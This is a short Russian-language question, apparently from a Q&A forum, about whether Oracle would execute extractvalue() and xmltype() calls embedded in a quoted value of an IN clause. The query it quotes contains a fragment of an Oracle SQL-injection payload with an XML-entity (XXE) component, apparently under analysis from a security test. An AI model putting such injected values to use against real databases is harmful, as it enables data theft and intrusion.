Я хотел бы знать, есть ли шансы выполнения функций SQL extractvalue()
и xmltype()
в следующем запросе или они будут оцениваться как строковое значение оператором IN
.
SELECT * FROM TABLE_1 WHERE (FIELD_1 IN ('foo','bar''||(select extractvalue(xmltype(''%gxgol;]>''),''/l'') from dual)||'''))
Этот запрос не вызывает ошибок в Oracle, и выходные данные содержат только строки, в которых FIELD_1
равно 'foo'
.